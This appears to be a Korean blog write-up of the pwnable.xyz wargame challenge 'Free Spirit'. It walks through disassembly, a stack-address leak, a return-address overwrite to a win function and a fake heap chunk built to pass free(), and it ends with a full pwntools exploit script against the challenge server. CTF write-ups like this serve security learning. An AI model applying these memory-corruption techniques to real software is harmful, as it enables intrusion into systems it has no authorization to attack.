본문으로 바로가기

pwnable.xyz / Free Spirit

category Wargame/pwnable.xyz 2020. 1. 13. 17:56
.text:00000000004007DF                 lea     r12, [rsp+68h+buf]
...
.text:00000000004007E9                 mov     edi, 40h        ; size
.text:00000000004007EE                 call    malloc
.text:00000000004007F3                 mov     [rsp+68h+buf], rax
...
.text:0000000000400849 menu_1:                                 ; CODE XREF: main+73↑j
.text:0000000000400849                 mov     rsi, [rsp+68h+buf] ; buf
.text:000000000040084E                 xor     rax, rax
.text:0000000000400851                 xor     rdi, rdi        ; fd
.text:0000000000400854                 mov     rdx, 20h        ; count
.text:000000000040085B                 syscall                 ; LINUX - sys_read
.text:000000000040085D                 jmp     short loc_4007F8
.text:000000000040085F ; ---------------------------------------------------------------------------
.text:000000000040085F
.text:000000000040085F menu_2:                                 ; CODE XREF: main+80↑j
.text:000000000040085F                 lea     rsi, aP         ; "%p\n"
.text:0000000000400866                 mov     rdx, r12
.text:0000000000400869                 mov     edi, 1
.text:000000000040086E                 xor     eax, eax
.text:0000000000400870                 call    __printf_chk
.text:0000000000400875                 jmp     short loc_4007F8
.text:0000000000400877 ; ---------------------------------------------------------------------------
.text:0000000000400877
.text:0000000000400877 menu_3:                                 ; CODE XREF: main+85↑j
.text:0000000000400877                 cmp     cs:limit, 1
.text:000000000040087E                 ja      loc_4007F8
.text:0000000000400884                 mov     rax, [rsp+68h+buf]
.text:0000000000400889                 movdqu  xmm0, xmmword ptr [rax]
.text:000000000040088D                 movdqu  xmmword ptr [rsp+8], xmm0
.text:0000000000400893                 jmp     loc_4007F8

 

malloc(0x40); 으로 할당받은 주소를 buf 에 저장한다. 이 프로그램에서는 세 가지 동작을 실행할 수 있다.

  • 메뉴 1: read(0, buf, 0x20);
  • 메뉴 2: _printf_chk(1, "%p\n", &buf); 로 스택의 주소를 알려줌.
  • 메뉴 3: buf 가 가리키는 주소의 16바이트를 rsp+8 위치로 옮김.

bufrsp+0x10 에 위치하기 때문에 3번 메뉴로 buf 의 값을 수정할 수 있다. buf 를 return address의 위치로 바꾼 뒤에 1번 메뉴에서 ret를 win 의 주소로 덮어씌우면 win 함수를 실행할 수 있다.

 

.text:00000000004008A9 loc_4008A9:                             ; CODE XREF: main+79↑j
.text:00000000004008A9                 mov     rdi, [rsp+68h+buf] ; ptr
.text:00000000004008AE                 test    rdi, rdi
.text:00000000004008B1                 jnz     short loc_4008BD
.text:00000000004008B3                 mov     edi, 1          ; status
.text:00000000004008B8                 call    exit
.text:00000000004008BD ; ---------------------------------------------------------------------------
.text:00000000004008BD
.text:00000000004008BD loc_4008BD:                             ; CODE XREF: main+F1↑j
.text:00000000004008BD                 call    free

 

전체 반복문이 끝나고 free(buf); 가 실행된다. 만약 buf 가 가리키는 chunk가 비정상적인 chunk라면 free 함수 내부에서 abort로 강제 종료되기 때문에 fake chunk를 생성해 주어야 한다.

쓰기가 가능한 0x601000~0x602000 영역 또는 스택 영역에 적절한 크기 값을 쓴 뒤 buf 값을 해당 위치+8 로 설정하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import argparse


def log_info(string) :
    sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string))

def Menu1(data:bytes) :
    p.writelineafter(b'> 'b'1')
    p.write(data)

def Menu2() :
    p.writelineafter(b'> 'b'2')
    p.readuntil(b'0x')
    return int(p.read(12), 16)

def Menu3() :
    p.writelineafter(b'> 'b'3')

def exploit() :
    leak = Menu2()
    stack_ret = leak + 0x58

    log_info('rsp+0x10 = '+hex(leak))
    log_info('ret = '+hex(stack_ret))

    Menu1(b'A'*8 + p64(stack_ret))
    Menu3()
    Menu1(p64(0x400A3E) + p64(0x601508))   # win / fake chunk
    Menu3()
    Menu1(p64(0x51) + p64(0x601510))
    Menu3()

    p.writelineafter(b'> 'b'0')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30005)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 10/23/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Jmp table  (0) 2020.01.13
pwnable.xyz / TLSv00  (0) 2020.01.13
pwnable.xyz / two targets  (0) 2020.01.13
pwnable.xyz / xor  (0) 2020.01.13
pwnable.xyz / note  (0) 2020.01.13